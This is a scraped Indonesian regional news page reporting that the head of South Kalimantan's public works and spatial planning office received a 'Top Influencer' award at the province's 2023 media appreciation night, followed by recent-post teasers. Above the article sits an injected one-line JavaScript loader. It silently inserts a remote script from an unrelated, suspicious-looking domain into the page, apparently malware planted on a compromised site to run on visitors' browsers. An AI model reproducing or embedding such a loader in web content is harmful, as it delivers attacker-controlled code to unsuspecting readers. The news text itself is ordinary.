(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PUPR PROV KALSEL

Kepala Dinas PUPR Kalsel Raih Penghargaan Top Influencer


KANALKALIMANTAN.COM, BANJARBARU – Dinas Komunikasi dan Informatika Provinsi Kalsel memberikan penghargaan kepada Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalimantan Selatan pada malam Apresiasi Media Pemprov Kalsel 2023.

Penghargaan itu pada katagori Top Influencer dari Gubernur Kalsel, Sahbirin Noor melalui Dinas Komunikasi dan Informatika Provinsi Kalsel sebagai bentuk apresiasi kepada SKPD yang mendukung keterbukaan informasi di Kalimantan Selatan.

Kepala Dinas PUPR Kalsel, Ir Ahmad Solhan ST MT menerima penghargaan tersebut atas keaktifannya dalam memberikan tanggapan terhadap pemberitaan di media massa.

Baca juga: Penuh Haru, Isi Surat Duta Besar Zuhair untuk Wali Kota dan Masyarakat Banjarbaru

“Alhamdulliah, kami dapat penghargaan dan mengucapkan terima kasih kepada Dinas Kominfo Kalsel mudah-mudahan kami dapat meningkatkan penyebaran informasi ke masyarakat terkait bidang PUPR,” kata Solhan usai acara AMPK 2023 di Banjarmasin, Rabu (6/12/2023) malam.

Dengan penghargaan Top Influencer itu, katanya, Dinas PUPR Kalsel menjadi lebih termotivasi untuk meningkatkan penyebaran informasi ke masyarakat terkait bidang PUPR.

Meski begitu, Dinas PUPR Kalsel mengakui bahwa website mereka masih kurang maksimal. Oleh karena itu, mereka akan membenahi website tersebut agar menjadi lebih aktif dan mudah diakses oleh masyarakat.

“Dalam menyebarkan informasi, Dinas PUPR Kalsel lebih mengoptimalkan media sosial seperti Instagram dan Facebook.

Baca juga: Sidang Korupsi DAK di Disdikbud HSU Tahun 2020, Kepsek Antar ‘Setoran’ Langsung ke Terdakwa Hamdani

Dengan memaksimalkan media sosial dan membenahi website, masyarakat diharapkan dapat memperoleh informasi tentang pembangunan infrastruktur dengan lebih mudah dan akurat,” ujar Solhan.

Menurut dia, penghargaan Top Influencer yang diraih oleh Dinas PUPR Kalsel menjadi suatu motivasi dan inspirasi bagi semua SKPD di Kalimantan Selatan.

“Dengan keterbukaan informasi dan aktif bersikap dalam memberikan tanggapan terhadap berita yang berkaitan dengan tugas. Hal tersebut akan memberikan manfaat besar bagi masyarakat dan pembangunan wilayah Kalsel,” tambah dia.

Baca juga: Pasutri Pengambil Paket 14 Kg Sabu di Pohon Pisang Dibekuk Polisi

Penyerahan penghargaan langsung diserahkan Gubernur Kalsel Sahbirin Noor melalui Staf Ahli Bidang Pemerintah Hukum dan Politik Setda Kalsel, Sulkan kepada Kadis PUPR Kalsel Ir Ahmad Solhan. (Kanalkalimantan.com/infopublik.id/kk)

Reporter: kk
Editor: Dhani


Risa

Recent Posts

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

1 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

1 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

2 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

2 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

3 jam ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

3 jam ago

This website uses cookies.